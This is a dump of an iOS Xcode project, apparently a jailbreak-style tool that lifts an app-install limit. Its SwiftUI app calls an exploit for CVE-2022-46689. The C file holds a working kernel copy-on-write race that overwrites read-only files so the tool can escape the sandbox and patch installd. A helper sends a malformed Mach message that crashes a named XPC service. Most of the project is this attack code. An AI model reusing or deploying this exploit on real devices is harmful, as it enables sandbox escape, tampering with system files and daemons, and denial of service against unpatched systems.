├── .clang-format
├── .gitignore
├── WDBRemoveThreeAppLimit
├── Assets.xcassets
│ ├── Contents.json
│ ├── AccentColor.colorset
│ │ └── Contents.json
│ └── AppIcon.appiconset
│ │ └── Contents.json
├── Preview Content
│ └── Preview Assets.xcassets
│ │ └── Contents.json
├── WDBRemoveThreeAppLimit-Bridging-Header.h
├── grant_full_disk_access.h
├── helpers.h
├── WDBRemoveThreeAppLimitApp.swift
├── vm_unaligned_copy_switch_race.h
├── ContentView.swift
├── helpers.m
├── vm_unaligned_copy_switch_race.c
└── grant_full_disk_access.m
└── WDBRemoveThreeAppLimit.xcodeproj
├── project.xcworkspace
├── contents.xcworkspacedata
└── xcshareddata
│ └── IDEWorkspaceChecks.plist
└── project.pbxproj
/.clang-format:
--------------------------------------------------------------------------------
1 | BasedOnStyle: Google
2 |
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | grant2.m
2 | grant2
3 | installd
4 | installd2
5 | xcuserdata
6 |
--------------------------------------------------------------------------------
/WDBRemoveThreeAppLimit/Assets.xcassets/Contents.json:
--------------------------------------------------------------------------------
1 | {
2 | "info" : {
3 | "author" : "xcode",
4 | "version" : 1
5 | }
6 | }
7 |
--------------------------------------------------------------------------------
/WDBRemoveThreeAppLimit/Preview Content/Preview Assets.xcassets/Contents.json:
--------------------------------------------------------------------------------
1 | {
2 | "info" : {
3 | "author" : "xcode",
4 | "version" : 1
5 | }
6 | }
7 |
--------------------------------------------------------------------------------
/WDBRemoveThreeAppLimit/WDBRemoveThreeAppLimit-Bridging-Header.h:
--------------------------------------------------------------------------------
1 | //
2 | // Use this file to import your target's public headers that you would like to expose to Swift.
3 | //
4 |
5 | #import "grant_full_disk_access.h"
6 |
--------------------------------------------------------------------------------
/WDBRemoveThreeAppLimit.xcodeproj/project.xcworkspace/contents.xcworkspacedata:
--------------------------------------------------------------------------------
1 |
2 |
4 |
6 |
7 |
8 |
--------------------------------------------------------------------------------
/WDBRemoveThreeAppLimit/Assets.xcassets/AccentColor.colorset/Contents.json:
--------------------------------------------------------------------------------
1 | {
2 | "colors" : [
3 | {
4 | "idiom" : "universal"
5 | }
6 | ],
7 | "info" : {
8 | "author" : "xcode",
9 | "version" : 1
10 | }
11 | }
12 |
--------------------------------------------------------------------------------
/WDBRemoveThreeAppLimit/grant_full_disk_access.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 | @import Foundation;
3 |
4 | /// Uses CVE-2022-46689 to grant the current app read/write access outside the sandbox.
5 | void grant_full_disk_access(void (^_Nonnull completion)(NSError* _Nullable));
6 | bool patch_installd(void);
7 |
--------------------------------------------------------------------------------
/WDBRemoveThreeAppLimit/Assets.xcassets/AppIcon.appiconset/Contents.json:
--------------------------------------------------------------------------------
1 | {
2 | "images" : [
3 | {
4 | "idiom" : "universal",
5 | "platform" : "ios",
6 | "size" : "1024x1024"
7 | }
8 | ],
9 | "info" : {
10 | "author" : "xcode",
11 | "version" : 1
12 | }
13 | }
14 |
--------------------------------------------------------------------------------
/WDBRemoveThreeAppLimit/helpers.h:
--------------------------------------------------------------------------------
1 | #ifndef helpers_h
2 | #define helpers_h
3 |
4 | char* get_temp_file_path(void);
5 | void test_nsexpressions(void);
6 | char* set_up_tmp_file(void);
7 |
8 | void xpc_crasher(char* service_name);
9 |
10 | #define ROUND_DOWN_PAGE(val) (val & ~(PAGE_SIZE - 1ULL))
11 |
12 | #endif /* helpers_h */
13 |
--------------------------------------------------------------------------------
/WDBRemoveThreeAppLimit.xcodeproj/project.xcworkspace/xcshareddata/IDEWorkspaceChecks.plist:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | IDEDidComputeMac32BitWarning
6 |
7 |
8 |
9 |
--------------------------------------------------------------------------------
/WDBRemoveThreeAppLimit/WDBRemoveThreeAppLimitApp.swift:
--------------------------------------------------------------------------------
1 | //
2 | // WDBRemoveThreeAppLimitApp.swift
3 | // WDBRemoveThreeAppLimit
4 | //
5 | // Created by Zhuowei Zhang on 2023-01-31.
6 | //
7 |
8 | import SwiftUI
9 |
10 | @main
11 | struct WDBRemoveThreeAppLimitApp: App {
12 | var body: some Scene {
13 | WindowGroup {
14 | ContentView()
15 | }
16 | }
17 | }
18 |
--------------------------------------------------------------------------------
/WDBRemoveThreeAppLimit/vm_unaligned_copy_switch_race.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 | #include
3 | #include
4 | /// Uses CVE-2022-46689 to overwrite `overwrite_length` bytes of `file_to_overwrite` with `overwrite_data`, starting from `file_offset`.
5 | /// `file_to_overwrite` should be a file descriptor opened with O_RDONLY.
6 | /// `overwrite_length` must be less than or equal to `PAGE_SIZE`.
7 | /// Returns `true` if the overwrite succeeded, and `false` if the device is not vulnerable.
8 | bool unaligned_copy_switch_race(int file_to_overwrite, off_t file_offset, const void* overwrite_data, size_t overwrite_length);
9 |
--------------------------------------------------------------------------------
/WDBRemoveThreeAppLimit/ContentView.swift:
--------------------------------------------------------------------------------
1 | //
2 | // ContentView.swift
3 | // WDBRemoveThreeAppLimit
4 | //
5 | // Created by Zhuowei Zhang on 2023-01-31.
6 | //
7 |
8 | import SwiftUI
9 |
10 | struct ContentView: View {
11 | @State private var message = ""
12 | var body: some View {
13 | VStack {
14 | Image(systemName: "globe")
15 | .imageScale(.large)
16 | .foregroundColor(.accentColor)
17 | Text(message)
18 | Button(action: {
19 | grant_full_disk_access { error in
20 | if let error = error {
21 | print(error)
22 | DispatchQueue.main.async {
23 | message = "Failed to get full disk access: \(error)"
24 | }
25 | return
26 | }
27 | if !patch_installd() {
28 | print("can't patch installd")
29 | DispatchQueue.main.async {
30 | message = "Failed to patch installd."
31 | }
32 | return
33 | }
34 | DispatchQueue.main.async {
35 | message = "Success."
36 | }
37 | }
38 | }) {
39 | Text("Go")
40 | }.padding(16)
41 | }
42 | .padding()
43 | }
44 | }
45 |
46 | struct ContentView_Previews: PreviewProvider {
47 | static var previews: some View {
48 | ContentView()
49 | }
50 | }
51 |
--------------------------------------------------------------------------------
/WDBRemoveThreeAppLimit/helpers.m:
--------------------------------------------------------------------------------
1 | #import
2 | #include
3 | #include
4 | #include
5 |
6 | char* get_temp_file_path(void) {
7 | return strdup([[NSTemporaryDirectory() stringByAppendingPathComponent:@"AAAAs"] fileSystemRepresentation]);
8 | }
9 |
10 | // create a read-only test file we can target:
11 | char* set_up_tmp_file(void) {
12 | char* path = get_temp_file_path();
13 | printf("path: %s\n", path);
14 |
15 | FILE* f = fopen(path, "w");
16 | if (!f) {
17 | printf("opening the tmp file failed...\n");
18 | return NULL;
19 | }
20 | char* buf = malloc(PAGE_SIZE*10);
21 | memset(buf, 'A', PAGE_SIZE*10);
22 | fwrite(buf, PAGE_SIZE*10, 1, f);
23 | //fclose(f);
24 | return path;
25 | }
26 |
27 | kern_return_t
28 | bootstrap_look_up(mach_port_t bp, const char* service_name, mach_port_t *sp);
29 |
30 | struct xpc_w00t {
31 | mach_msg_header_t hdr;
32 | mach_msg_body_t body;
33 | mach_msg_port_descriptor_t client_port;
34 | mach_msg_port_descriptor_t reply_port;
35 | };
36 |
37 | mach_port_t get_send_once(mach_port_t recv) {
38 | mach_port_t so = MACH_PORT_NULL;
39 | mach_msg_type_name_t type = 0;
40 | kern_return_t err = mach_port_extract_right(mach_task_self(), recv, MACH_MSG_TYPE_MAKE_SEND_ONCE, &so, &type);
41 | if (err != KERN_SUCCESS) {
42 | printf("port right extraction failed: %s\n", mach_error_string(err));
43 | return MACH_PORT_NULL;
44 | }
45 | printf("made so: 0x%x from recv: 0x%x\n", so, recv);
46 | return so;
47 | }
48 |
49 | // copy-pasted from an exploit I wrote in 2019...
50 | // still works...
51 |
52 | // (in the exploit for this: https://googleprojectzero.blogspot.com/2019/04/splitting-atoms-in-xnu.html )
53 |
54 | void xpc_crasher(char* service_name) {
55 | mach_port_t client_port = MACH_PORT_NULL;
56 | mach_port_t reply_port = MACH_PORT_NULL;
57 |
58 | mach_port_t service_port = MACH_PORT_NULL;
59 |
60 | kern_return_t err = bootstrap_look_up(bootstrap_port, service_name, &service_port);
61 | if(err != KERN_SUCCESS){
62 | printf("unable to look up %s\n", service_name);
63 | return;
64 | }
65 |
66 | if (service_port == MACH_PORT_NULL) {
67 | printf("bad service port\n");
68 | return;
69 | }
70 |
71 | // allocate the client and reply port:
72 | err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &client_port);
73 | if (err != KERN_SUCCESS) {
74 | printf("port allocation failed: %s\n", mach_error_string(err));
75 | return;
76 | }
77 |
78 | mach_port_t so0 = get_send_once(client_port);
79 | mach_port_t so1 = get_send_once(client_port);
80 |
81 | // insert a send so we maintain the ability to send to this port
82 | err = mach_port_insert_right(mach_task_self(), client_port, client_port, MACH_MSG_TYPE_MAKE_SEND);
83 | if (err != KERN_SUCCESS) {
84 | printf("port right insertion failed: %s\n", mach_error_string(err));
85 | return;
86 | }
87 |
88 | err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &reply_port);
89 | if (err != KERN_SUCCESS) {
90 | printf("port allocation failed: %s\n", mach_error_string(err));
91 | return;
92 | }
93 |
94 | struct xpc_w00t msg;
95 | memset(&msg.hdr, 0, sizeof(msg));
96 | msg.hdr.msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_COPY_SEND, 0, 0, MACH_MSGH_BITS_COMPLEX);
97 | msg.hdr.msgh_size = sizeof(msg);
98 | msg.hdr.msgh_remote_port = service_port;
99 | msg.hdr.msgh_id = 'w00t';
100 |
101 | msg.body.msgh_descriptor_count = 2;
102 |
103 | msg.client_port.name = client_port;
104 | msg.client_port.disposition = MACH_MSG_TYPE_MOVE_RECEIVE; // we still keep the send
105 | msg.client_port.type = MACH_MSG_PORT_DESCRIPTOR;
106 |
107 | msg.reply_port.name = reply_port;
108 | msg.reply_port.disposition = MACH_MSG_TYPE_MAKE_SEND;
109 | msg.reply_port.type = MACH_MSG_PORT_DESCRIPTOR;
110 |
111 | err = mach_msg(&msg.hdr,
112 | MACH_SEND_MSG|MACH_MSG_OPTION_NONE,
113 | msg.hdr.msgh_size,
114 | 0,
115 | MACH_PORT_NULL,
116 | MACH_MSG_TIMEOUT_NONE,
117 | MACH_PORT_NULL);
118 |
119 | if (err != KERN_SUCCESS) {
120 | printf("w00t message send failed: %s\n", mach_error_string(err));
121 | return;
122 | } else {
123 | printf("sent xpc w00t message\n");
124 | }
125 |
126 | mach_port_deallocate(mach_task_self(), so0);
127 | mach_port_deallocate(mach_task_self(), so1);
128 |
129 | return;
130 | }
131 |
--------------------------------------------------------------------------------
/WDBRemoveThreeAppLimit/vm_unaligned_copy_switch_race.c:
--------------------------------------------------------------------------------
1 | // from https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.61.2/tests/vm/vm_unaligned_copy_switch_race.c
2 | // modified to compile outside of XNU
3 |
4 | #include
5 | #include
6 | #include
7 |
8 | #include
9 | #include
10 | #include
11 |
12 | #include
13 | #include
14 |
15 | #include "vm_unaligned_copy_switch_race.h"
16 |
17 | #define T_QUIET
18 | #define T_EXPECT_MACH_SUCCESS(a, b)
19 | #define T_EXPECT_MACH_ERROR(a, b, c)
20 | #define T_ASSERT_MACH_SUCCESS(a, b, ...)
21 | #define T_ASSERT_MACH_ERROR(a, b, c)
22 | #define T_ASSERT_POSIX_SUCCESS(a, b)
23 | #define T_ASSERT_EQ(a, b, c) do{if ((a) != (b)) { fprintf(stderr, c "\n"); exit(1); }}while(0)
24 | #define T_ASSERT_NE(a, b, c) do{if ((a) == (b)) { fprintf(stderr, c "\n"); exit(1); }}while(0)
25 | #define T_ASSERT_TRUE(a, b, ...)
26 | #define T_LOG(a, ...) fprintf(stderr, a "\n", __VA_ARGS__)
27 | #define T_DECL(a, b) static void a(void)
28 | #define T_PASS(a, ...) fprintf(stderr, a "\n", __VA_ARGS__)
29 |
30 | struct context1 {
31 | vm_size_t obj_size;
32 | vm_address_t e0;
33 | mach_port_t mem_entry_ro;
34 | mach_port_t mem_entry_rw;
35 | dispatch_semaphore_t running_sem;
36 | pthread_mutex_t mtx;
37 | volatile bool done;
38 | };
39 |
40 | static void *
41 | switcheroo_thread(__unused void *arg)
42 | {
43 | kern_return_t kr;
44 | struct context1 *ctx;
45 |
46 | ctx = (struct context1 *)arg;
47 | /* tell main thread we're ready to run */
48 | dispatch_semaphore_signal(ctx->running_sem);
49 | while (!ctx->done) {
50 | /* wait for main thread to be done setting things up */
51 | pthread_mutex_lock(&ctx->mtx);
52 | if (ctx->done) {
53 | pthread_mutex_unlock(&ctx->mtx);
54 | break;
55 | }
56 | /* switch e0 to RW mapping */
57 | kr = vm_map(mach_task_self(),
58 | &ctx->e0,
59 | ctx->obj_size,
60 | 0, /* mask */
61 | VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE,
62 | ctx->mem_entry_rw,
63 | 0,
64 | FALSE, /* copy */
65 | VM_PROT_READ | VM_PROT_WRITE,
66 | VM_PROT_READ | VM_PROT_WRITE,
67 | VM_INHERIT_DEFAULT);
68 | T_QUIET; T_EXPECT_MACH_SUCCESS(kr, " vm_map() RW");
69 | /* wait a little bit */
70 | usleep(100);
71 | /* switch bakc to original RO mapping */
72 | kr = vm_map(mach_task_self(),
73 | &ctx->e0,
74 | ctx->obj_size,
75 | 0, /* mask */
76 | VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE,
77 | ctx->mem_entry_ro,
78 | 0,
79 | FALSE, /* copy */
80 | VM_PROT_READ,
81 | VM_PROT_READ,
82 | VM_INHERIT_DEFAULT);
83 | T_QUIET; T_EXPECT_MACH_SUCCESS(kr, " vm_map() RO");
84 | /* tell main thread we're don switching mappings */
85 | pthread_mutex_unlock(&ctx->mtx);
86 | usleep(100);
87 | }
88 | return NULL;
89 | }
90 |
91 | bool unaligned_copy_switch_race(int file_to_overwrite, off_t file_offset, const void* overwrite_data, size_t overwrite_length) {
92 | bool retval = false;
93 | pthread_t th = NULL;
94 | int ret;
95 | kern_return_t kr;
96 | time_t start, duration;
97 | #if 0
98 | mach_msg_type_number_t cow_read_size;
99 | #endif
100 | vm_size_t copied_size;
101 | int loops;
102 | vm_address_t e2, e5;
103 | struct context1 context1, *ctx;
104 | int kern_success = 0, kern_protection_failure = 0, kern_other = 0;
105 | vm_address_t ro_addr, tmp_addr;
106 | memory_object_size_t mo_size;
107 |
108 | ctx = &context1;
109 | ctx->obj_size = 256 * 1024;
110 |
111 | void* file_mapped = mmap(NULL, ctx->obj_size, PROT_READ, MAP_SHARED, file_to_overwrite, file_offset);
112 | if (file_mapped == MAP_FAILED) {
113 | fprintf(stderr, "failed to map\n");
114 | return false;
115 | }
116 | if (!memcmp(file_mapped, overwrite_data, overwrite_length)) {
117 | fprintf(stderr, "already the same?\n");
118 | munmap(file_mapped, ctx->obj_size);
119 | return true;
120 | }
121 | ro_addr = (vm_address_t)file_mapped;
122 |
123 | ctx->e0 = 0;
124 | ctx->running_sem = dispatch_semaphore_create(0);
125 | T_QUIET; T_ASSERT_NE(ctx->running_sem, NULL, "dispatch_semaphore_create");
126 | ret = pthread_mutex_init(&ctx->mtx, NULL);
127 | T_QUIET; T_ASSERT_POSIX_SUCCESS(ret, "pthread_mutex_init");
128 | ctx->done = false;
129 | ctx->mem_entry_rw = MACH_PORT_NULL;
130 | ctx->mem_entry_ro = MACH_PORT_NULL;
131 | #if 0
132 | /* allocate our attack target memory */
133 | kr = vm_allocate(mach_task_self(),
134 | &ro_addr,
135 | ctx->obj_size,
136 | VM_FLAGS_ANYWHERE);
137 | T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate ro_addr");
138 | /* initialize to 'A' */
139 | memset((char *)ro_addr, 'A', ctx->obj_size);
140 | #endif
141 |
142 | /* make it read-only */
143 | kr = vm_protect(mach_task_self(),
144 | ro_addr,
145 | ctx->obj_size,
146 | TRUE, /* set_maximum */
147 | VM_PROT_READ);
148 | T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_protect ro_addr");
149 | /* make sure we can't get read-write handle on that target memory */
150 | mo_size = ctx->obj_size;
151 | kr = mach_make_memory_entry_64(mach_task_self(),
152 | &mo_size,
153 | ro_addr,
154 | MAP_MEM_VM_SHARE | VM_PROT_READ | VM_PROT_WRITE,
155 | &ctx->mem_entry_ro,
156 | MACH_PORT_NULL);
157 | T_QUIET; T_ASSERT_MACH_ERROR(kr, KERN_PROTECTION_FAILURE, "make_mem_entry() RO");
158 | /* take read-only handle on that target memory */
159 | mo_size = ctx->obj_size;
160 | kr = mach_make_memory_entry_64(mach_task_self(),
161 | &mo_size,
162 | ro_addr,
163 | MAP_MEM_VM_SHARE | VM_PROT_READ,
164 | &ctx->mem_entry_ro,
165 | MACH_PORT_NULL);
166 | T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "make_mem_entry() RO");
167 | T_QUIET; T_ASSERT_EQ(mo_size, (memory_object_size_t)ctx->obj_size, "wrong mem_entry size");
168 | /* make sure we can't map target memory as writable */
169 | tmp_addr = 0;
170 | kr = vm_map(mach_task_self(),
171 | &tmp_addr,
172 | ctx->obj_size,
173 | 0, /* mask */
174 | VM_FLAGS_ANYWHERE,
175 | ctx->mem_entry_ro,
176 | 0,
177 | FALSE, /* copy */
178 | VM_PROT_READ,
179 | VM_PROT_READ | VM_PROT_WRITE,
180 | VM_INHERIT_DEFAULT);
181 | T_QUIET; T_EXPECT_MACH_ERROR(kr, KERN_INVALID_RIGHT, " vm_map() mem_entry_rw");
182 | tmp_addr = 0;
183 | kr = vm_map(mach_task_self(),
184 | &tmp_addr,
185 | ctx->obj_size,
186 | 0, /* mask */
187 | VM_FLAGS_ANYWHERE,
188 | ctx->mem_entry_ro,
189 | 0,
190 | FALSE, /* copy */
191 | VM_PROT_READ | VM_PROT_WRITE,
192 | VM_PROT_READ | VM_PROT_WRITE,
193 | VM_INHERIT_DEFAULT);
194 | T_QUIET; T_EXPECT_MACH_ERROR(kr, KERN_INVALID_RIGHT, " vm_map() mem_entry_rw");
195 |
196 | /* allocate a source buffer for the unaligned copy */
197 | kr = vm_allocate(mach_task_self(),
198 | &e5,
199 | ctx->obj_size * 2,
200 | VM_FLAGS_ANYWHERE);
201 | T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate e5");
202 | /* initialize to 'C' */
203 | memset((char *)e5, 'C', ctx->obj_size * 2);
204 |
205 | char* e5_overwrite_ptr = (char*)(e5 + ctx->obj_size - 1);
206 | memcpy(e5_overwrite_ptr, overwrite_data, overwrite_length);
207 |
208 | int overwrite_first_diff_offset = -1;
209 | char overwrite_first_diff_value = 0;
210 | for (int off = 0; off < overwrite_length; off++) {
211 | if (((char*)ro_addr)[off] != e5_overwrite_ptr[off]) {
212 | overwrite_first_diff_offset = off;
213 | overwrite_first_diff_value = ((char*)ro_addr)[off];
214 | }
215 | }
216 | if (overwrite_first_diff_offset == -1) {
217 | fprintf(stderr, "no diff?\n");
218 | return false;
219 | }
220 |
221 | /*
222 | * get a handle on some writable memory that will be temporarily
223 | * switched with the read-only mapping of our target memory to try
224 | * and trick copy_unaligned to write to our read-only target.
225 | */
226 | tmp_addr = 0;
227 | kr = vm_allocate(mach_task_self(),
228 | &tmp_addr,
229 | ctx->obj_size,
230 | VM_FLAGS_ANYWHERE);
231 | T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate() some rw memory");
232 | /* initialize to 'D' */
233 | memset((char *)tmp_addr, 'D', ctx->obj_size);
234 | /* get a memory entry handle for that RW memory */
235 | mo_size = ctx->obj_size;
236 | kr = mach_make_memory_entry_64(mach_task_self(),
237 | &mo_size,
238 | tmp_addr,
239 | MAP_MEM_VM_SHARE | VM_PROT_READ | VM_PROT_WRITE,
240 | &ctx->mem_entry_rw,
241 | MACH_PORT_NULL);
242 | T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "make_mem_entry() RW");
243 | T_QUIET; T_ASSERT_EQ(mo_size, (memory_object_size_t)ctx->obj_size, "wrong mem_entry size");
244 | kr = vm_deallocate(mach_task_self(), tmp_addr, ctx->obj_size);
245 | T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_deallocate() tmp_addr 0x%llx", (uint64_t)tmp_addr);
246 | tmp_addr = 0;
247 |
248 | pthread_mutex_lock(&ctx->mtx);
249 |
250 | /* start racing thread */
251 | ret = pthread_create(&th, NULL, switcheroo_thread, (void *)ctx);
252 | T_QUIET; T_ASSERT_POSIX_SUCCESS(ret, "pthread_create");
253 |
254 | /* wait for racing thread to be ready to run */
255 | dispatch_semaphore_wait(ctx->running_sem, DISPATCH_TIME_FOREVER);
256 |
257 | duration = 10; /* 10 seconds */
258 | T_LOG("Testing for %ld seconds...", duration);
259 | for (start = time(NULL), loops = 0;
260 | time(NULL) < start + duration;
261 | loops++) {
262 | /* reserve space for our 2 contiguous allocations */
263 | e2 = 0;
264 | kr = vm_allocate(mach_task_self(),
265 | &e2,
266 | 2 * ctx->obj_size,
267 | VM_FLAGS_ANYWHERE);
268 | T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate to reserve e2+e0");
269 |
270 | /* make 1st allocation in our reserved space */
271 | kr = vm_allocate(mach_task_self(),
272 | &e2,
273 | ctx->obj_size,
274 | VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE | VM_MAKE_TAG(240));
275 | T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate e2");
276 | /* initialize to 'B' */
277 | memset((char *)e2, 'B', ctx->obj_size);
278 |
279 | /* map our read-only target memory right after */
280 | ctx->e0 = e2 + ctx->obj_size;
281 | kr = vm_map(mach_task_self(),
282 | &ctx->e0,
283 | ctx->obj_size,
284 | 0, /* mask */
285 | VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE | VM_MAKE_TAG(241),
286 | ctx->mem_entry_ro,
287 | 0,
288 | FALSE, /* copy */
289 | VM_PROT_READ,
290 | VM_PROT_READ,
291 | VM_INHERIT_DEFAULT);
292 | T_QUIET; T_EXPECT_MACH_SUCCESS(kr, " vm_map() mem_entry_ro");
293 |
294 | /* let the racing thread go */
295 | pthread_mutex_unlock(&ctx->mtx);
296 | /* wait a little bit */
297 | usleep(100);
298 |
299 | /* trigger copy_unaligned while racing with other thread */
300 | kr = vm_read_overwrite(mach_task_self(),
301 | e5,
302 | ctx->obj_size - 1 + overwrite_length,
303 | e2 + 1,
304 | &copied_size);
305 | T_QUIET;
306 | T_ASSERT_TRUE(kr == KERN_SUCCESS || kr == KERN_PROTECTION_FAILURE,
307 | "vm_read_overwrite kr %d", kr);
308 | switch (kr) {
309 | case KERN_SUCCESS:
310 | /* the target was RW */
311 | kern_success++;
312 | break;
313 | case KERN_PROTECTION_FAILURE:
314 | /* the target was RO */
315 | kern_protection_failure++;
316 | break;
317 | default:
318 | /* should not happen */
319 | kern_other++;
320 | break;
321 | }
322 | /* check that our read-only memory was not modified */
323 | #if 0
324 | T_QUIET; T_ASSERT_EQ(((char *)ro_addr)[overwrite_first_diff_offset], overwrite_first_diff_value, "RO mapping was modified");
325 | #endif
326 | bool is_still_equal = ((char *)ro_addr)[overwrite_first_diff_offset] == overwrite_first_diff_value;
327 |
328 | /* tell racing thread to stop toggling mappings */
329 | pthread_mutex_lock(&ctx->mtx);
330 |
331 | /* clean up before next loop */
332 | vm_deallocate(mach_task_self(), ctx->e0, ctx->obj_size);
333 | ctx->e0 = 0;
334 | vm_deallocate(mach_task_self(), e2, ctx->obj_size);
335 | e2 = 0;
336 | if (!is_still_equal) {
337 | retval = true;
338 | fprintf(stderr, "RO mapping was modified\n");
339 | break;
340 | }
341 | }
342 |
343 | ctx->done = true;
344 | pthread_mutex_unlock(&ctx->mtx);
345 | pthread_join(th, NULL);
346 |
347 | kr = mach_port_deallocate(mach_task_self(), ctx->mem_entry_rw);
348 | T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "mach_port_deallocate(me_rw)");
349 | kr = mach_port_deallocate(mach_task_self(), ctx->mem_entry_ro);
350 | T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "mach_port_deallocate(me_ro)");
351 | kr = vm_deallocate(mach_task_self(), ro_addr, ctx->obj_size);
352 | T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_deallocate(ro_addr)");
353 | kr = vm_deallocate(mach_task_self(), e5, ctx->obj_size * 2);
354 | T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_deallocate(e5)");
355 |
356 | #if 0
357 | T_LOG("vm_read_overwrite: KERN_SUCCESS:%d KERN_PROTECTION_FAILURE:%d other:%d",
358 | kern_success, kern_protection_failure, kern_other);
359 | T_PASS("Ran %d times in %ld seconds with no failure", loops, duration);
360 | #endif
361 | return retval;
362 | }
363 |
--------------------------------------------------------------------------------
/WDBRemoveThreeAppLimit.xcodeproj/project.pbxproj:
--------------------------------------------------------------------------------
1 | // !$*UTF8*$!
2 | {
3 | archiveVersion = 1;
4 | classes = {
5 | };
6 | objectVersion = 56;
7 | objects = {
8 |
9 | /* Begin PBXBuildFile section */
10 | C50030A4298A1F5800C88646 /* WDBRemoveThreeAppLimitApp.swift in Sources */ = {isa = PBXBuildFile; fileRef = C50030A3298A1F5800C88646 /* WDBRemoveThreeAppLimitApp.swift */; };
11 | C50030A6298A1F5800C88646 /* ContentView.swift in Sources */ = {isa = PBXBuildFile; fileRef = C50030A5298A1F5800C88646 /* ContentView.swift */; };
12 | C50030A8298A1F5A00C88646 /* Assets.xcassets in Resources */ = {isa = PBXBuildFile; fileRef = C50030A7298A1F5A00C88646 /* Assets.xcassets */; };
13 | C50030AB298A1F5A00C88646 /* Preview Assets.xcassets in Resources */ = {isa = PBXBuildFile; fileRef = C50030AA298A1F5A00C88646 /* Preview Assets.xcassets */; };
14 | C50030B8298A1F9100C88646 /* grant_full_disk_access.m in Sources */ = {isa = PBXBuildFile; fileRef = C50030B3298A1F9000C88646 /* grant_full_disk_access.m */; };
15 | C50030B9298A1F9100C88646 /* helpers.m in Sources */ = {isa = PBXBuildFile; fileRef = C50030B6298A1F9100C88646 /* helpers.m */; };
16 | C50030BA298A1F9100C88646 /* vm_unaligned_copy_switch_race.c in Sources */ = {isa = PBXBuildFile; fileRef = C50030B7298A1F9100C88646 /* vm_unaligned_copy_switch_race.c */; };
17 | /* End PBXBuildFile section */
18 |
19 | /* Begin PBXFileReference section */
20 | C50030A0298A1F5800C88646 /* WDBRemoveThreeAppLimit.app */ = {isa = PBXFileReference; explicitFileType = wrapper.application; includeInIndex = 0; path = WDBRemoveThreeAppLimit.app; sourceTree = BUILT_PRODUCTS_DIR; };
21 | C50030A3298A1F5800C88646 /* WDBRemoveThreeAppLimitApp.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = WDBRemoveThreeAppLimitApp.swift; sourceTree = ""; };
22 | C50030A5298A1F5800C88646 /* ContentView.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = ContentView.swift; sourceTree = ""; };
23 | C50030A7298A1F5A00C88646 /* Assets.xcassets */ = {isa = PBXFileReference; lastKnownFileType = folder.assetcatalog; path = Assets.xcassets; sourceTree = ""; };
24 | C50030AA298A1F5A00C88646 /* Preview Assets.xcassets */ = {isa = PBXFileReference; lastKnownFileType = folder.assetcatalog; path = "Preview Assets.xcassets"; sourceTree = ""; };
25 | C50030B1298A1F9000C88646 /* WDBRemoveThreeAppLimit-Bridging-Header.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = "WDBRemoveThreeAppLimit-Bridging-Header.h"; sourceTree = ""; };
26 | C50030B2298A1F9000C88646 /* vm_unaligned_copy_switch_race.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = vm_unaligned_copy_switch_race.h; sourceTree = ""; };
27 | C50030B3298A1F9000C88646 /* grant_full_disk_access.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = grant_full_disk_access.m; sourceTree = ""; };
28 | C50030B4298A1F9000C88646 /* helpers.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = helpers.h; sourceTree = ""; };
29 | C50030B5298A1F9100C88646 /* grant_full_disk_access.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = grant_full_disk_access.h; sourceTree = ""; };
30 | C50030B6298A1F9100C88646 /* helpers.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = helpers.m; sourceTree = ""; };
31 | C50030B7298A1F9100C88646 /* vm_unaligned_copy_switch_race.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = vm_unaligned_copy_switch_race.c; sourceTree = ""; };
32 | /* End PBXFileReference section */
33 |
34 | /* Begin PBXFrameworksBuildPhase section */
35 | C500309D298A1F5800C88646 /* Frameworks */ = {
36 | isa = PBXFrameworksBuildPhase;
37 | buildActionMask = 2147483647;
38 | files = (
39 | );
40 | runOnlyForDeploymentPostprocessing = 0;
41 | };
42 | /* End PBXFrameworksBuildPhase section */
43 |
44 | /* Begin PBXGroup section */
45 | C5003097298A1F5800C88646 = {
46 | isa = PBXGroup;
47 | children = (
48 | C50030A2298A1F5800C88646 /* WDBRemoveThreeAppLimit */,
49 | C50030A1298A1F5800C88646 /* Products */,
50 | );
51 | sourceTree = "";
52 | };
53 | C50030A1298A1F5800C88646 /* Products */ = {
54 | isa = PBXGroup;
55 | children = (
56 | C50030A0298A1F5800C88646 /* WDBRemoveThreeAppLimit.app */,
57 | );
58 | name = Products;
59 | sourceTree = "";
60 | };
61 | C50030A2298A1F5800C88646 /* WDBRemoveThreeAppLimit */ = {
